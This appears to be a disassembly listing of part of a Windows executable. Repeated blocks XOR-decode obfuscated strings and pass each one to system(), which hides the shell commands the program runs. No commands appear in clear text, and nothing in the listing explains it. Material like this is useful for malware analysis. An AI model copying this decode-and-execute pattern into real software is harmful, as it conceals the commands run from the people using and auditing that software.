nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140064500
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1ab0]
mov byte [rbp - 0x2f], 0
lea rcx, [rbp - 0x2f]
call fcn.140054910
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x1400646b4
xor r8d, r8d
cmp edi, 2
jl 0x140064675
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140064580
cmp r8d, 0x24
jge 0x1400646b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140064680
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1ad8]
mov byte [rbp - 0x2e], 0
lea rcx, [rbp - 0x2e]
call fcn.140054940
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140064834
xor r8d, r8d
cmp edi, 2
jl 0x1400647f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140064700
cmp r8d, 0x24
jge 0x140064834
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140064800
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1b00]
mov byte [rbp - 0x2d], 0
lea rcx, [rbp - 0x2d]
call fcn.140054970
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x1400649b4
xor r8d, r8d
cmp edi, 2
jl 0x140064975
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140064880
cmp r8d, 0x24
jge 0x1400649b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140064980
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1b28]
mov byte [rbp - 0x2c], 0
lea rcx, [rbp - 0x2c]
call fcn.1400549a0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140064b34
xor r8d, r8d
cmp edi, 2
jl 0x140064af5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140064a00
cmp r8d, 0x24
jge 0x140064b34
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140064b00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1c40]
mov byte [rbp - 0x2b], 0
lea rcx, [rbp - 0x2b]
call fcn.1400549d0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140064cb4
xor r8d, r8d
cmp edi, 2
jl 0x140064c75
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140064b80
cmp r8d, 0x25
jge 0x140064cb4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x140064c80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1da8]
mov byte [rbp - 0x2a], 0
lea rcx, [rbp - 0x2a]
call fcn.140054a00
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140064e34
xor r8d, r8d
cmp edi, 2
jl 0x140064df5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140064d00
cmp r8d, 0x2c
jge 0x140064e34
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x140064e00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1880]
mov byte [rbp - 0x29], 0
lea rcx, [rbp - 0x29]
call fcn.140054a30
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140064fb4
xor r8d, r8d
cmp edi, 2
jl 0x140064f75
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140064e80
cmp r8d, 0x22
jge 0x140064fb4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140064f80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1b50]
mov byte [rbp - 0x28], 0
lea rcx, [rbp - 0x28]
call fcn.140054910
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140065134
xor r8d, r8d
cmp edi, 2
jl 0x1400650f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140065000
cmp r8d, 0x24
jge 0x140065134
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140065100
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1b78]
mov byte [rbp - 0x27], 0
lea rcx, [rbp - 0x27]
call fcn.140054a60
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x1400652b4
xor r8d, r8d
cmp edi, 2
jl 0x140065275
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140065180
cmp r8d, 0x24
jge 0x1400652b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140065280
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1ba0]
mov byte [rbp - 0x26], 0
lea rcx, [rbp - 0x26]
call fcn.140054a90
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140065434
xor r8d, r8d
cmp edi, 2
jl 0x1400653f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140065300
cmp r8d, 0x24
jge 0x140065434
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140065400
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1bc8]
mov byte [rbp - 0x25], 0
lea rcx, [rbp - 0x25]
call fcn.140054ac0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x1400655b4
xor r8d, r8d
cmp edi, 2
jl 0x140065575
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140065480
cmp r8d, 0x24
jge 0x1400655b4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140065580
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1dd8]
mov byte [rbp - 0x24], 0
lea rcx, [rbp - 0x24]
call fcn.140054a00
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x140065734
xor r8d, r8d
cmp edi, 2
jl 0x1400656f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140065600
cmp r8d, 0x2c
jge 0x140065734
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x140065700
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0xc4]
mov byte [rbp - 0x23], 0
lea rcx, [rbp - 0x23]
call fcn.140054b20
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006576e
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rdx, rax
lea rcx, [rbp + 0x1608]
call fcn.1400719a0
